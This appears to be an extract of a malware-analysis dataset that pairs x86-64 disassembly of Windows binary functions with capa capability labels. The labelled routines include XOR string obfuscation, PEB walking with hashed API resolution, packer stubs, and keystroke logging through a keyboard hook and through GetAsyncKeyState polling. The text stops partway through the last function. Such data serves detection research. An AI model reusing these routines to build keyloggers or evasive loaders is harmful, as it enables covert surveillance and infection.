joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1800d5b10
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, qword [0x1800ecfa0]
mov rbx, qword [0x1800ecf98]
jmp 0x18009254f
mov rcx, qword [rbx]
mov rax, qword [rcx]
call qword [rax + 8]
add rbx, 8
cmp rbx, rdi
jne 0x180092542
lea rcx, [0x1800ec0f0]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
jmp 0x1800d5b10
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x20
mov rbx, rcx
mov word [rsp + 0x30], 0x3444
xor r8d, r8d
lea r9, [rsp + 0x30]
mov eax, 0x51eb851f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x32
mov al, r8b
inc r8d
sub al, cl
add al, 0x33
xor byte [r9], al
inc r9
cmp r8d, 2
jl 0x1800d5b2c
cmp qword [rbx + 0x18], 0x10
mov rcx, rbx
jb 0x1800d5b60
mov rcx, qword [rbx]
lea rdx, [rsp + 0x30]
call fcn.1800e61c0
mov rdi, rax
test rax, rax
je 0x1800d5b99
lea rcx, [rbx + 0x20]
cmp qword [rcx + 0x18], 0x10
jb 0x1800d5b80
mov rcx, qword [rcx]
mov r8, qword [rbx + 0x30]
mov r9, rdi
mov edx, 1
call fcn.1800e6464
mov rcx, rdi
call fcn.1800e5fd0
mov rbx, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x1800d7c98
Capabilities:
Encode data using xor

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x1b0]
sub rsp, 0x2b0
xor edi, edi
mov dword [rbp + 0x1f8], 0x12c
xor r8d, r8d
mov dword [rbp + 0x200], edi
xor edx, edx
mov ecx, 0x91406bfe
call fcn.1800e6b9c
mov rcx, rax
call fcn.1800e73b4
lea r9, [rbp + 0x1f8]
lea r8, [rsp + 0x50]
lea rdx, [rbp + 0x200]
lea ecx, [rdi + 8]
call rax
xorps xmm0, xmm0
lea rax, [rsp + 0x50]
xorps xmm1, xmm1
or r15, 0xffffffffffffffff
movups xmmword [rsp + 0x30], xmm0
mov r8, r15
movdqu xmmword [rsp + 0x40], xmm1
inc r8
cmp word [rax + r8*2], di
jne 0x1800d7d10
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x30]
call fcn.180029948
mov rbx, qword [rsp + 0x30]
lea rax, [rsp + 0x30]
mov rsi, qword [rsp + 0x48]
lea r8, [rsp + 0x30]
mov r14, qword [rsp + 0x40]
lea r9, [rsp + 0x30]
cmp rsi, 8
cmovae rax, rbx
cmovae r8, rbx
cmovae r9, rbx
lea rax, [rax + r14*2]
cmp r8, rax
je 0x1800d7d99
sub r9, r8
movzx ecx, word [r8]
movzx edx, word [r8]
sub cx, 0x41
add dx, 0x20
cmp cx, 0x19
cmova dx, word [r8]
mov word [r9 + r8], dx
add r8, 2
cmp r8, rax
jne 0x1800d7d63
mov rsi, qword [rsp + 0x48]
mov r14, qword [rsp + 0x40]
mov rbx, qword [rsp + 0x30]
mov r12d, 0x35
mov dword [rbp + 0x208], 0x5a0050
mov word [rbp + 0x20c], r12w
lea r9, [rbp + 0x208]
mov r8d, edi
mov eax, 0x51eb851f
mul r8d
shr edx, 4
movzx eax, dx
imul ecx, eax, 0x32
movzx eax, r8w
inc r8d
sub ax, cx
add ax, 0x33
xor word [r9], ax
lea r9, [r9 + 2]
cmp r8d, 3
jl 0x1800d7dbb
lea rcx, [rbp + 0x208]
mov rax, r15
inc rax
cmp word [rcx + rax*2], di
jne 0x1800d7df2
cmp rsi, 8
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x30]
mov rdx, r14
cmovae rcx, rbx
lea r9, [rbp + 0x208]
xor r8d, r8d
call fcn.1800d5c98
cmp rax, r15
jne 0x1800d7ead
mov dword [rbp + 0x208], 0x5c0049
lea r9, [rbp + 0x208]
mov word [rbp + 0x20c], r12w
mov r8d, edi
mov eax, 0x51eb851f
mul r8d
shr edx, 4
movzx eax, dx
imul ecx, eax, 0x32
movzx eax, r8w
inc r8d
sub ax, cx
add ax, 0x33
xor word [r9], ax
lea r9, [r9 + 2]
cmp r8d, 3
jl 0x1800d7e44
lea rcx, [rbp + 0x208]
mov rax, r15
inc rax
cmp word [rcx + rax*2], di
jne 0x1800d7e7b
cmp rsi, 8
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x30]
mov rdx, r14
cmovae rcx, rbx
lea r9, [rbp + 0x208]
xor r8d, r8d
call fcn.1800d5c98
cmp rax, r15
je 0x1800d7eb0
mov dil, 1
cmp rsi, 8
jb 0x1800d7ee7
lea rdx, [rsi*2 + 2]
mov rax, rbx
cmp rdx, 0x1000
jb 0x1800d7edf
mov rbx, qword [rbx - 8]
add rdx, 0x27
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800d7efc
mov rcx, rbx
call fcn.1800e423c
mov al, dil
add rsp, 0x2b0
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
call fcn.1800ad4f0
int3
Function at 0x1800e4e5c
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push rbp
lea rbp, [rax - 0x158]
sub rsp, 0x250
or rdi, 0xffffffffffffffff
mov r14, rdx
mov r8, rdi
xor ebx, ebx
mov rsi, rcx
inc r8
cmp word [rcx + r8*2], bx
jne 0x1800e4e8d
cmp word [rcx + r8*2 - 2], 0x24
jne 0x1800e4eea
mov eax, 0x37
mov dword [rsp + 0x30], 0xb006f
mov word [rsp + 0x38], ax
lea r9, [rsp + 0x30]
mov dword [rsp + 0x34], 0x6a000a
mov eax, 0x51eb851f
mul ebx
shr edx, 4
movzx eax, dx
imul ecx, eax, 0x32
movzx eax, bx
inc ebx
sub ax, cx
add ax, 0x33
xor word [r9], ax
lea r9, [r9 + 2]
cmp ebx, 5
jl 0x1800e4ebf
jmp 0x1800e4f3f
cmp word [rcx], 0x5c
je 0x1800e4f60
cmp word [rcx + 2], 0x3a
jne 0x1800e4f60
mov eax, 0x37
mov dword [rsp + 0x30], 0xb006f
mov word [rsp + 0x38], ax
lea r9, [rsp + 0x30]
mov dword [rsp + 0x34], 0x6a000a
mov eax, 0x51eb851f
mul ebx
shr edx, 4
movzx eax, dx
imul ecx, eax, 0x32
movzx eax, bx
inc ebx
sub ax, cx
add ax, 0x33
xor word [r9], ax
lea r9, [r9 + 2]
cmp ebx, 5
jl 0x1800e4f16
mov rax, qword [rsp + 0x30]
lea r8, [r8*2 + 2]
lea rcx, [r14 + 8]
mov qword [r14], rax
mov rdx, rsi
call fcn.1800e663c
jmp 0x1800e503b
xor edx, edx
lea rcx, [rsp + 0x50]
mov r8d, 0x200
call fcn.1800e6660
lea rdx, [rsp + 0x50]
mov ecx, 0x100
call fcn.1800e5738
lea rax, [rsp + 0x50]
inc rdi
cmp word [rax + rdi*2], bx
jne 0x1800e4f86
cmp rdi, 1
jbe 0x1800e503b
cmp word [rsp + rdi*2 + 0x4e], 0x5c
jne 0x1800e4fa6
mov word [rsp + rdi*2 + 0x4e], bx
cmp word [rsi], 0x5c
lea rax, [0x18000cde0]
mov r9d, 0xb
mov dword [rsp + 0x3a], 0xb006f
lea r10, [0x18000cde4]
mov dword [rsp + 0x3e], 0x6a000a
cmove r10, rax
mov dword [rsp + 0x42], 0x4b0012
mov dword [rsp + 0x46], 0x49001c
lea r8, [rsp + 0x3a]
lea eax, [r9 + 0x32]
mov dword [rsp + 0x4a], 0x4f001e
mov word [rsp + 0x4e], ax
mov eax, 0x51eb851f
mul ebx
shr edx, 4
movzx eax, dx
imul ecx, eax, 0x32
movzx eax, bx
inc ebx
sub ax, cx
add ax, 0x33
xor word [r8], ax
lea r8, [r8 + 2]
cmp ebx, r9d
jl 0x1800e4ff8
mov r9, r10
mov qword [rsp + 0x20], rsi
lea r8, [rsp + 0x50]
mov rcx, r14
lea rdx, [rsp + 0x3a]
call fcn.1800e5328
lea r11, [rsp + 0x250]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret

Function at 0x1800e5738
Capabilities:
Access peb ldr_data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rax, qword gs:[0x60]
mov rsi, rdx
xor ebp, ebp
mov rdx, qword [rax + 0x20]
test rdx, rdx
je 0x1800e5788
movzx edi, word [rdx + 0x38]
shr edi, 1
cmp edi, ecx
ja 0x1800e5788
mov rdx, qword [rdx + 0x40]
lea rbx, [rdi + rdi]
mov r8, rbx
mov rcx, rsi
call fcn.1800e663c
mov eax, edi
mov word [rbx + rsi], bp
jmp 0x1800e578a
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x1800e61c0
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rbp
push rdi
push r12
push r13
push r15
lea rbp, [rsp - 0x150]
sub rsp, 0x250
mov rdi, rdx
mov rsi, rcx
xor edx, edx
lea rcx, [rsp + 0x50]
mov r8d, 0x200
call fcn.1800e6660
xor ebx, ebx
mov dword [rbp + 0x190], 0x670016
mov r13d, 0x35
lea r9, [rbp + 0x190]
mov r8d, ebx
mov word [rbp + 0x194], r13w
mov eax, 0x51eb851f
mul r8d
shr edx, 4
movzx eax, dx
imul ecx, eax, 0x32
movzx eax, r8w
inc r8d
sub ax, cx
add ax, 0x33
xor word [r9], ax
lea r9, [r9 + 2]
cmp r8d, 3
jl 0x1800e621d
mov r8, rsi
lea rdx, [rbp + 0x190]
lea rcx, [rsp + 0x50]
call fcn.1800e5328
xorps xmm0, xmm0
mov dword [rbp + 0x190], 0x670016
xor eax, eax
mov word [rbp + 0x194], r13w
movups xmmword [rsp + 0x20], xmm0
mov qword [rsp + 0x40], rax
lea r8, [rbp + 0x190]
movups xmmword [rsp + 0x30], xmm0
mov eax, 0x51eb851f
mul ebx
shr edx, 4
movzx eax, dx
imul ecx, eax, 0x32
movzx eax, bx
inc ebx
sub ax, cx
add ax, 0x33
xor word [r8], ax
lea r8, [r8 + 2]
cmp ebx, 3
jl 0x1800e628b
mov r8, rdi
lea rdx, [rbp + 0x190]
lea rcx, [rsp + 0x20]
call fcn.1800e5328
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x50]
call fcn.1800e5884
lea r11, [rsp + 0x250]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r13
pop r12
pop rdi
pop rbp
ret

Function at 0x1800e65c4
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
call fcn.1800e1444
mov rcx, rax
mov r8, rbx
xor edx, edx
add rsp, 0x20
pop rbx
jmp fcn.1800e144c

Function at 0x1800e6a88
Capabilities:
Access peb ldr_data
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x90
mov rax, qword gs:[0x30]
mov bpl, dl
mov esi, ecx
mov r8, qword [rax + 0x60]
mov rdi, qword [r8 + 0x18]
add rdi, 0x20
mov rbx, qword [rdi]
jmp 0x1800e6b41
xor edx, edx
lea rcx, [rsp + 0x20]
lea r8d, [rdx + 0x64]
call fcn.1800e6660
movzx r11d, word [rbx + 0x48]
xor r10d, r10d
shr r11, 1
add r11, 0xfffffffffffffffc
je 0x1800e6b12
mov r9, qword [rbx + 0x50]
movzx edx, word [r9]
lea r9, [r9 + 2]
movzx r8d, dl
sub dx, 0x41
cmp dx, 0x19
lea eax, [r8 + 0x20]
movzx ecx, al
cmova ecx, r8d
mov byte [rsp + r10 + 0x20], cl
inc r10
cmp r10, r11
jne 0x1800e6ae6
test esi, esi
je 0x1800e6b65
mov al, byte [rsp + 0x20]
lea rdx, [rsp + 0x20]
mov ecx, 0x84222325
jmp 0x1800e6b36
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1b3
inc rdx
mov al, byte [rdx]
test al, al
jne 0x1800e6b26
cmp esi, ecx
je 0x1800e6b65
mov rbx, qword [rbx]
cmp rbx, rdi
jne 0x1800e6ac1
xor eax, eax
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
test bpl, bpl
je 0x1800e6b96
mov rcx, qword [rbx - 0x10]
mov rax, qword [rbx - 8]
mov qword [rcx + 8], rax
mov rcx, qword [rbx - 8]
mov rax, qword [rbx - 0x10]
mov qword [rcx], rax
mov rcx, qword [rbx]
mov rax, qword [rbx + 8]
mov qword [rcx + 8], rax
mov rcx, qword [rbx + 8]
mov rax, qword [rbx]
mov qword [rcx], rax
mov rax, qword [rbx + 0x20]
jmp 0x1800e6b4c
Function at 0x1800e6b9c
Capabilities:
Access peb ldr_data

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
mov rax, qword gs:[0x30]
mov bpl, r8b
mov rsi, rdx
mov r14d, ecx
mov r9, qword [rax + 0x60]
mov rdi, qword [r9 + 0x18]
add rdi, 0x20
mov rbx, qword [rdi]
cmp rbx, rdi
je 0x1800e6bf9
mov rcx, qword [rbx + 0x20]
cmp rsi, rcx
je 0x1800e6bf4
mov r8b, bpl
mov edx, r14d
call fcn.1800e6c18
test rax, rax
jne 0x1800e6bfb
mov rbx, qword [rbx]
jmp 0x1800e6bd6
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
Function at 0x1800e6fbc
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x430
mov rax, qword [rcx + 0x10]
mov r15d, r8d
mov rbx, rdx
mov rsi, rcx
mov ebp, 0x200
test rax, rax
je 0x1800e70d1
lea rdi, [rax + 0x90]
test rdi, rdi
je 0x1800e70d1
test r8d, r8d
je 0x1800e70d1
mov r8d, ebp
lea rcx, [rsp + 0x20]
xor edx, edx
call fcn.1800e6660
mov r8d, ebp
lea rcx, [rsp + 0x220]
xor edx, edx
call fcn.1800e6660
mov r8d, dword [rdi]
and qword [rsp + 0x420], 0
mov rsi, qword [rsi]
add r8, rsi
je 0x1800e70d1
mov rcx, rsi
mov r12d, 8
cmp dword [r8 + 0xc], 0
je 0x1800e70cc
mov edx, dword [r8 + 0xc]
add rdx, rcx
je 0x1800e70c7
mov r10d, dword [r8]
mov ebp, 0
mov rax, rcx
add r10, rcx
je 0x1800e70c0
mov r9, qword [r10]
test r9, r9
je 0x1800e70c0
mov rax, rcx
add r9, rcx
je 0x1800e70b8
add r9, 2
mov r14d, 0x84222325
mov r11, r9
mov dil, byte [r9]
test dil, dil
je 0x1800e70b3
inc r11
movsx eax, dil
xor eax, r14d
imul r14d, eax, 0x1b3
mov dil, byte [r11]
test dil, dil
jne 0x1800e7097
mov rax, rsi
cmp r14d, r15d
je 0x1800e711c
inc rbp
add r10, r12
jne 0x1800e7072
add r8, 0x14
mov rcx, rax
test r8, r8
jne 0x1800e7052
mov ebp, 0x200
mov r8, rbp
xor edx, edx
mov rcx, rbx
call fcn.1800e6660
lea rcx, [rbx + 0x200]
mov r8, rbp
xor edx, edx
call fcn.1800e6660
and qword [rbx + 0x400], 0
lea r11, [rsp + 0x430]
mov rax, rbx
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r12
ret
lea rcx, [rsp + 0x20]
sub rcx, rdx
mov al, byte [rdx]
mov byte [rcx + rdx], al
inc rdx
test al, al
jne 0x1800e7124
lea rcx, [rsp + 0x220]
sub rcx, r9
mov al, byte [r9]
mov byte [rcx + r9], al
inc r9
test al, al
jne 0x1800e713b
mov ecx, dword [r8 + 0x10]
mov edx, 0x80
add rcx, rsi
lea rax, [rcx + rbp*8]
mov rcx, rbx
mov qword [rsp + 0x420], rax
lea rax, [rsp + 0x20]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx], xmm0
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x30], xmm1
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x40], xmm0
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x50], xmm1
movups xmm1, xmmword [rax + 0x70]
add rax, rdx
movups xmmword [rcx + 0x60], xmm0
add rcx, rdx
movups xmmword [rcx - 0x10], xmm1
sub r12, 1
jne 0x1800e7169
mov rax, qword [rax]
mov qword [rcx], rax
jmp 0x1800e70f7

Function at 0x1800e71c0
Capabilities:
Parse pe header

Disassembly:
xor edx, edx
test rcx, rcx
je 0x1800e71e3
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1800e71e3
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
cmp dword [rax], 0x4550
cmovne rax, rdx
ret
xor eax, eax
ret
Function at 0x1800e7230
Capabilities:
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov edi, edx
mov bl, r8b
xor edx, edx
call fcn.1800e6a88
mov r8b, bl
mov edx, edi
mov rcx, rax
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
jmp fcn.1800e6c18
Function at 0x140001040
Capabilities:
Log keystrokes via application hook

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x50], rax
xor r9d, r9d
lea rdx, section..text
xor r8d, r8d
lea ecx, [r9 + 0xd]
call qword [sym.imp.USER32.dll_SetWindowsHookExW]
mov rbx, rax
test rax, rax
jne 0x14000108e
lea r9d, [rax + 0x10]
xor ecx, ecx
lea r8, str.Error
lea rdx, str.Failed_to_install_hook_
call qword [sym.imp.USER32.dll_MessageBoxW]
xor r9d, r9d
lea rcx, [rsp + 0x20]
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
je 0x1400010d2
lea rcx, [rsp + 0x20]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rsp + 0x20]
call qword [sym.imp.USER32.dll_DispatchMessageW]
xor r9d, r9d
lea rcx, [rsp + 0x20]
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
jne 0x1400010a5
mov rcx, rbx
call qword [sym.imp.USER32.dll_UnhookWindowsHookEx]
xor eax, eax
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.140001320
add rsp, 0x60
pop rbx
ret

Function at 0x140001bfc
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001c46
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001c46
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001c46
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001c46
cmp dword [rcx + 0x84], 0xe
jbe 0x140001c46
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001c48
xor al, al
add rsp, 0x28
ret
Function at 0x1400fb960
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x1400fb96d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x1400fb97d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x1400fb965
lea eax, [rcx + 1]
jmp 0x1400fb98b
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x1400fb99e
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x1400fb984
sub eax, 3
jb 0x1400fb9be
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x1400fba0d
sar eax, 1
movsxd rbp, eax
jb 0x1400fb9f4
jmp 0x1400fb9cc
add ebx, ebx
jne 0x1400fb9ca
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x1400fb9f4
inc ecx
add ebx, ebx
jne 0x1400fb9da
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x1400fb9f4
call r11
adc ecx, ecx
add ebx, ebx
jne 0x1400fb9ed
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x1400fb9dc
add ecx, 2
jmp 0x1400fb9f9
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.1400fb922
jmp 0x1400fb96d
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0xa8400
mov dl, 0x22
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x1400fba59
cmp rsi, rcx
jae 0x1400fba61
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x1400fba40
cmp al, 0x8f
ja 0x1400fba40
cmp byte [rsi - 2], 0xf
je 0x1400fba46
sub al, 0xe8
cmp al, 1
ja 0x1400fba2a
cmp rsi, rcx
jae 0x1400fba61
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x1400fba30
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x1400fba61
lodsb al, byte [rsi]
jmp 0x1400fba40
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0xf7000]
mov eax, dword [rdi]
or eax, eax
je 0x1400fbaca
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0xfc81c]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x1400fba6e
jns 0x1400fbaa3
movzx rdx, word [rdi]
add rdi, 2
jmp 0x1400fbaad
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x1400fbac4
mov qword [rbx], rax
add rbx, 8
jmp 0x1400fba8e
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x1400fbb04
cmp al, 0xef
ja 0x1400fbaf6
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x1400fbad6
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
jmp 0x1400fbae5
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x23f]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x1400fbb58
sub rsp, 0xffffffffffffff80
jmp 0x14002fb2c
Function at 0x141343058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.1413431df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x141343089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14134306f
add dl, dl
jne 0x141343096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1413430f6
xor eax, eax
add dl, dl
jne 0x1413430a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1413431ad
add dl, dl
jne 0x1413430b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1413430c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1413430d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1413430dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1413430ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x14134307e
mov eax, 1
add dl, dl
jne 0x141343106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x141343113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1413430fb
sub eax, ebx
mov ebx, 1
jne 0x14134314c
mov ecx, 1
add dl, dl
jne 0x14134312e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14134313b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x141343123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14134307e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x141343168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x141343175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14134315d
cmp eax, 0x7d00
jae 0x14134319b
cmp eax, 0x500
jb 0x141343196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14134307e
cmp eax, 0x7f
ja 0x14134319e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14134307e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1413431d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x14134307e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140011370
Capabilities:
Terminate process

Disassembly:
jmp 0x140019a20
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x14001144c
Capabilities:
Log keystrokes via polling

Disassembly:
jmp 0x140018100
push rbp
push rdi
sub rsp, 0x1c8
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x3a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140026018]
xor rax, rbp
mov qword [rbp + 0x198], rax
lea rcx, [0x14002c0f4]
call fcn.140011640
mov byte [rbp + 4], 0
mov byte [rbp + 0x24], 0
mov byte [rbp + 0x44], 0
mov dword [rbp + 0x64], 0
jmp 0x140018158
mov eax, dword [rbp + 0x64]
mov dword [rbp + 0x64], eax
cmp dword [rbp + 0x64], 1
jge 0x14001826a
mov dword [rbp + 0x84], 8
jmp 0x14001817c
mov eax, dword [rbp + 0x84]
inc eax
mov dword [rbp + 0x84], eax
cmp dword [rbp + 0x84], 0xff
jg 0x140018265
mov ecx, dword [rbp + 0x84]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
cmp eax, 0xffff8001
jne 0x140018260
mov ecx, 0x10
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
and eax, 0x8000
test eax, eax
je 0x1400181c2
mov byte [rbp + 0x194], 1
jmp 0x1400181c9
mov byte [rbp + 0x194], 0
movzx eax, byte [rbp + 0x194]
mov byte [rbp + 0x24], al
mov ecx, 0x14
call qword [sym.imp.USER32.dll_GetKeyState]
cwde
and eax, 1
mov byte [rbp + 0x44], al
movzx eax, byte [rbp + 0x24]
test eax, eax
jne 0x140018201
movzx eax, byte [rbp + 0x44]
test eax, eax
jne 0x140018201
mov dword [rbp + 0x194], 0
jmp 0x14001820b
mov dword [rbp + 0x194], 1
